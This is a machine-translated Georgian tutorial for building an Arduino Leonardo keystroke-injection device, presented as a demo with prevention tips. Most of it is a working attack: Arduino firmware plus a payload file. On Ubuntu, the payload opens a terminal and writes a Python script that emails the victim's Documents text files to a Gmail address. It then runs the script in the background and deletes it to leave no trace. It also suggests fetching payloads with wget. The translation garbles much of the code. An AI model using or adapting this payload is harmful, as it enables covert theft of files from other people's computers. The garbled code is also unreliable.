Სარჩევი:

Arduino კლავიატურის ექსპლუატაციის დემო (HID) და პრევენცია: 4 ნაბიჯი (სურათებით)
Arduino კლავიატურის ექსპლუატაციის დემო (HID) და პრევენცია: 4 ნაბიჯი (სურათებით)

ვიდეო: Arduino კლავიატურის ექსპლუატაციის დემო (HID) და პრევენცია: 4 ნაბიჯი (სურათებით)

ვიდეო: Arduino კლავიატურის ექსპლუატაციის დემო (HID) და პრევენცია: 4 ნაბიჯი (სურათებით)
ვიდეო: #Arduino бегущая строка под управлением Монитора порта! 2024, ივლისი
Anonim
Image
Image
მოწყობილობის მშენებლობა
მოწყობილობის მშენებლობა

ამ პროექტში ჩვენ გამოვიყენებთ არდუინო ლეონარდოს, რათა მოახდინოს შესაძლო USB თავდასხმის სიმულაცია HID (humain interface device) გამოყენებით.

მე შევქმენი ეს გაკვეთილი არა ჰაკერების დასახმარებლად, არამედ იმისათვის, რომ გაჩვენოთ რეალური საფრთხეები და როგორ დაიცვათ თავი ამ საფრთხეებისგან. ეს მოწყობილობა ეს არ არის მოწყობილობა, რომელიც შეიძლება გამოყენებულ იქნას ჰაკერების ნებისმიერ პლატფორმაზე, ეს უფრო კონცეფციის დადასტურებაა დეტალურად.

ჩვენ ვაპირებთ ვისწავლოთ შემდეგი:

- როგორ გამოვიყენოთ arduino leonardo კლავიატურის იმიტირებისთვის

- როგორ წავიკითხოთ მონაცემები SD ბარათებიდან

- როგორ შევქმნათ პითონის სკრიპტი, რომელიც დაასკანირებს ფაილებს და უგზავნის მათ ელ.წერილს

- როგორ დავიცვათ საკუთარი თავი USB ჰაკერული მოწყობილობებისგან

ნაბიჯი 1: მასალები

ნაწილები:

1. არდუინო ლეონარდო

2. მიკრო USB ბარათის წამკითხველი

3. რამდენიმე GB SD ბარათი

4. მსგავსი ღილაკი (VCC, Ground და სიგნალი)

5. ქალი-კაცი და ქალი-ქალი jumper კაბელები

6. მიკრო USB USB კაბელი

ნაბიჯი 2: მოწყობილობის შექმნა

მოწყობილობის მშენებლობა
მოწყობილობის მშენებლობა

მშენებლობის ინსტრუქციამდე განვიხილოთ მუშაობის პრინციპი:

არდუინო ლეონარდოს შეუძლია მოიქცეს როგორც ადამიანის ინტერფეისის მოწყობილობა (HID) და, შესაბამისად, შეუძლია თაგვისა და კლავიატურის იმიტაცია. ჩვენ ვაპირებთ გამოვიყენოთ ეს ფუნქცია ტერმინალის გასახსნელად (UBUNTU linux– ში) და დასაწერად პატარა სკრიპტი, რომელიც შევა მომხმარებლის დოკუმენტების საქაღალდეში მომხმარებლის სახლის საქაღალდეში. თუ გსურთ გაიგოთ მეტი დეტალი, გადახედეთ შემდეგ ნაბიჯს.

იმის გამო, რომ ეს დემო მოწყობილობაა, მართლაც ძალიან მარტივია, ჩვენ არაფრის შეკვრას არ ვაპირებთ.

მშენებლობის ინსტრუქცია

სანამ დავიწყებთ შემოწმებას თანდართული ფაილების, მე დაურთო გამაგრილებელი სქემები და ყველა საჭირო ფაილი

1. შეიკრიბეთ კომპონენტები:

* შეაერთეთ მიკრო USB კაბელი არდუინოში

* დააკავშირეთ გასაღები arduino– სთან (ადგილზე, vcc და out მოდული D8– თან)

* დააკავშირეთ ბარათის მკითხველი arduino– სთან (ICSP სათაურის გამოყენებით). არდუინო ლეონარდოს არ აქვს ICSP სათაური ციფრულ ქინძისთავებთან დაკავშირებული, ასე რომ თქვენ უნდა დაუკავშიროთ ბარათის წამკითხველი ICSP სათაურთან. თქვენ შეგიძლიათ ნახოთ ICSP– ის რამდენიმე ნახაზი აქ: https://learn.sparkfun.com/tutorials/installing-an…. შეაერთეთ SS პინი ციფრულ პინთან 10

2. მიიღეთ arduino კოდი, შეგიძლიათ კლონირება ჩემი arduino საცავი github: https://github.com/danionescu0/arduino და გადადით პროექტებზე/keyboard_exploit ან მიიღეთ ქვემოდან:

#მოიცავს "კლავიატურას.ჰ"

#მოიცავს "SPI.h" #მოიცავს "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "ძილი::"; სიმებიანი ბრძანებაStartingPoint = "ბრძანება::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = მაღალი; void setup () {pinMode (buttonPin, INPUT); სერიული.დაწყება (9600); კლავიატურა. დაწყება (); თუ (! SD.begin (chipSelect)) {Serial.println ("ბარათი ვერ მოხერხდა, ან არ არის!"); დაბრუნების; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("ატვირთულია!"); დაგვიანება (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {ფაილის dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("მითითებული ფაილის სახელი არ არის SD ბარათზე, შეამოწმეთ filenameOnCard!"); } სიმებიანი ხაზი; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (ხაზი); sendToKeyboard (ხაზი); } dataFile.close (); } void sendToKeyboard (სიმებიანი ხაზი) {String workingLine = ხაზი; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (ხაზი); დაბრუნების; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (line); Keyboard.println (ხაზი); pressEnter (); დაბრუნების; } Serial.println ("ბრძანება:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); სამუშაო ხაზი += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("სამუშაო ხაზი:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); სიმებიანი ბრძანება = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (command! = "") {Serial.print ("command found:"); Serial.println (command); Keyboard.press (getCommandCode (ბრძანება)); შეფერხება (delayBetweenCommands); }} Keyboard.releaseAll (); შეფერხება (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (სიმებიანი ხაზი) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); შეფერხება (ძილის რაოდენობა); } char getCommandCode (სიმებიანი ტექსტი) {char textCharacters [2]; text.toCharArray (ტექსტი პერსონაჟები, 2); char კოდი = textCharacters [0]; კოდი = (ტექსტი == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: კოდი; კოდი = (ტექსტი == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: კოდი; კოდი = (ტექსტი == "KEY_LEFT_ALT")? KEY_LEFT_ALT: კოდი; კოდი = (ტექსტი == "KEY_UP_ARROW")? KEY_UP_ARROW: კოდი; კოდი = (ტექსტი == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: კოდი; კოდი = (ტექსტი == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: კოდი; კოდი = (ტექსტი == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: კოდი; კოდი = (ტექსტი == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: კოდი; კოდი = (ტექსტი == "KEY_BACKSPACE")? KEY_BACKSPACE: კოდი; კოდი = (ტექსტი == "KEY_TAB")? KEY_TAB: კოდი; კოდი = (ტექსტი == "KEY_RETURN")? KEY_RETURN: კოდი; კოდი = (ტექსტი == "KEY_ESC")? KEY_ESC: კოდი; კოდი = (ტექსტი == "KEY_INSERT")? KEY_INSERT: კოდი; კოდი = (ტექსტი == "KEY_DELETE")? KEY_DELETE: კოდი; კოდი = (ტექსტი == "KEY_PAGE_UP")? KEY_PAGE_UP: კოდი; კოდი = (ტექსტი == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: კოდი; კოდი = (ტექსტი == "KEY_HOME")? KEY_HOME: კოდი; კოდი = (ტექსტი == "KEY_END")? KEY_END: კოდი; კოდი = (ტექსტი == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: კოდი; კოდი = (ტექსტი == "KEY_F1")? KEY_F1: კოდი; კოდი = (ტექსტი == "KEY_F2")? KEY_F2: კოდი; კოდი = (ტექსტი == "KEY_F3")? KEY_F3: კოდი; კოდი = (ტექსტი == "KEY_F4")? KEY_F4: კოდი; კოდი = (ტექსტი == "KEY_F5")? KEY_F5: კოდი; კოდი = (ტექსტი == "KEY_F6")? KEY_F6: კოდი; კოდი = (ტექსტი == "KEY_F7")? KEY_F7: კოდი; კოდი = (ტექსტი == "KEY_F8")? KEY_F8: კოდი; კოდი = (ტექსტი == "KEY_F9")? KEY_F9: კოდი; კოდი = (ტექსტი == "KEY_F10")? KEY_F10: კოდი; კოდი = (ტექსტი == "KEY_F11")? KEY_F1: კოდი; კოდი = (ტექსტი == "KEY_F12")? KEY_F2: კოდი;

დაბრუნების კოდი;

}

3. ატვირთეთ კოდი არდუინოში, აუცილებლად შეარჩიეთ 9600 baud rate, სერიული პორტი და arduino leonardo

4. ფორმატირება sd ბარათი FAT16 ან FAT32 გამოყენებით

5. თუ თქვენ კლონირებული გაქვთ github repo ზემოდან, დააკოპირეთ hack.txt ფაილი ბარათზე, თუ არა ფაილი ქვემოთ ჩამოთვლილი:

ბრძანება:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 command:: KEY_INSERT smtplib იმპორტი glob, os from os.path იმპორტი გაფართოება ელექტრონული ფოსტით. MIMEM მრავალჯერადი იმპორტი MIMEM მრავალჯერადი ელ.ფოსტადან. MIMEBase იმპორტი MIMEBase ელ. MIMET ტექსტი იმპორტი MIM ტექსტი ელექტრონული ფოსტიდან. საქონლის იმპორტი COMMASPACE, ფორმატი თარიღი ელ.ფოსტის იმპორტის კოდირებისგან

smtp_user = 'გამგზავნის_გმაილი_ მისამართი'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'დოკუმენტები'

subject = body = 'ფაილები გატეხილი კომპიუტერიდან'

header = 'დან: {0} n მდებარეობადან: {1} n სათაური: {2} n'.format (to_address, smtp_user, subject)

def sendMail (სათაურის, ტექსტის, ფაილების = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (ტექსტი)) ფაილებისათვის ფაილი: part = MIMEBase ('application', "octet-stream") part.set_payload (open (file, "rb"). Read ()) Encoders.encode_base64 (part) part. add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (file)) msg.attach (ნაწილი)

სერვერი = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([მისამართი], საგანი, სხეული, glob.glob ("{0}/{1}/*. txt". ფორმატი (გაფართოება ("~"), სკანირების_მოწმება_ მდებარეობა)))

Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4

6. შეასწორეთ შემდეგი სტრიქონები:

smtp_user = 'გამგზავნის_ფოსტა_ადრი"

smtp_pass = 'გამგზავნის_სიტყვა' to_address = 'მიმღების_ადრესა'

და შეცვალეთ თქვენი ელ.ფოსტის მისამართები

7. ამოიღეთ ბარათი და ჩადეთ arduino ბარათის წამკითხველში

ნაბიჯი 3: როგორ მუშაობს დეტალებში

როგორ იმუშავებს თავდასხმა:

1. როდესაც ღილაკს დააჭერთ, ლეონარდო წაიკითხავს sd ბარათს sd ბარათის მკითხველის გამოყენებით. ბარათზე იქნება სპეციალური ფაილი, რომელიც შეიცავს გასაღებებს და გასაღებების კომბინაციას. ფაილის სახელია "hack.txt".

ფაილი შეიძლება შეიცავდეს ნედლეულ ტექსტს და ის ისე გადადის კლავიატურაზე, როგორც არის.

ასევე შეიძლება შეიცავდეს სპეციალურ ბრძანებებს, როგორიცაა "ძილი::" და "ბრძანება::".

ხაზი, როგორიცაა:

ძილი:: 200 ნიშნავს ძილს 200 ms

ხაზი, როგორიცაა:

ბრძანება:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t ნიშნავს მარცხენა ctrl დაჭერით, მარცხენა alt დაჭერით, t დაჭერით და ყველა გათავისუფლებული

თქვენ შეგიძლიათ შეამოწმოთ ყველა სპეციალური გასაღები აქ:

2. ლეონარდო წაიკითხავს სტრიქონიდან სტრიქონს და განმარტავს ბრძანებებს და მიბაძავს კლავიშთა კლავიშებს. ფაილი "hack.txt" შეიცავს გასაღებების კომბინაციას, რომელიც აკეთებს შემდეგს (UBUNTU linux– ისთვის):

ა ხსნის ტერმინალს (CTRL + ALT + T)

ბ ხსნის პითონის ფაილს vi გამოყენებით შესაქმნელად (წერს "vi hack.py"

გ წერს პითონის სკრიპტს შიგნით, რომელიც აგროვებს ყველა ტექსტურ ფაილს დოკუმენტების სახლის საქაღალდეში და აგზავნის მათ მითითებულ gmail მისამართზე

დ გაუშვებს ფაილს ფონზე ("nohup python hack.py &")

ე წაშლის ფაილს (rm -rf hack.py)

ვ ხურავს ტერმინალს (ALT + F4)

ეს ყველაფერი რამდენიმე წამში გადის და კვალს არ ტოვებს.

გაუმჯობესებები და პრობლემების აღმოფხვრა

* თქვენ შეიძლება შეამჩნიოთ, რომ ტერმინალის გახსნის შემდეგ მე ვწერ პითონის ფაილს. უკეთესი გზა იქნება სადმე მასპინძლობა და გადმოწერა "wget some_url" ბრძანების გამოყენებით, შემდეგ გადარქმევა hack.py

* ასევე ჩვენ შეგვიძლია გადმოვწეროთ ან გაუშვათ მზა ექსპლუატაცია მიზნობრივი ოპერაციული სისტემისთვის

* wifi შეიძლება დაემატოს მოდულს, ხოლო ჰაკების ატვირთვა შესაძლებელია WIFI საშუალებით

* შეგიძლიათ გამოიყენოთ arduino micro (რომელიც გაცილებით მცირეა) და ჩადეთ მასში ექსპლოიტის კოდი (რომ გახადოთ უფრო პატარა)

შეზღუდვები

1. იმის გამო, რომ იმიტირებულ მოწყობილობას (კლავიატურა და მაუსი) არ აქვს უკუკავშირი, ჩვენ არ ვიცით რა მოხდება ბრძანების გაცემის შემდეგ, რაც იმას ნიშნავს, რომ ჩვენ უნდა გამოვიყენოთ შეფერხებები. მაგალითად, მე ვაძლევ ბრძანებას ტერმინალის გასახსნელად, მაგრამ არ ვიცი როდის იქნება ის რეალურად გახსნილი, ამიტომ მჭირდება თვითნებური შეფერხების დაზუსტება იმის უზრუნველსაყოფად, რომ შემდგომ აკრეფილი სიმბოლოები არ დაიკარგება.

2. ჩვენ შეიძლება შეგვხვდეს ნებართვის პრობლემები, როგორიცაა USB პორტზე წვდომა ან რაიმე ინსტალაციის ნებართვა

3. აკრეფის სიჩქარე ლეონარდოზე არც ისე დიდია

4. იმუშავებს მხოლოდ მიზნობრივ ოპერაციულ სისტემაზე (ჩვენს შემთხვევაში UBUNTU linux)

მომდევნო ეტაპზე შევეცდებით ვიპოვოთ ამ შეზღუდვების გამოყენების გზები, რათა თავიდან ავიცილოთ ჩვენი კომპიუტერის გატეხვა

ნაბიჯი 4: საწინააღმდეგო ღონისძიებები

1. USB პორტების გამორთვა

-Windows– ისთვის შეგიძლიათ შეამოწმოთ ეს გაკვეთილი:

2. თეთრი მოწყობილობების USB მოწყობილობები:

- ფანჯრებისთვის:

2. ჩაკეტეთ კომპიუტერი, როდესაც არ ხართ შორს

3. არ შეხვიდეთ როგორც root (მოითხოვეთ პაროლები არაფრის ინსტალაციისთვის)

4. განაგრძეთ საკუთარი თავის განახლება (ავტომატური განახლებები ჩართულია)

გირჩევთ: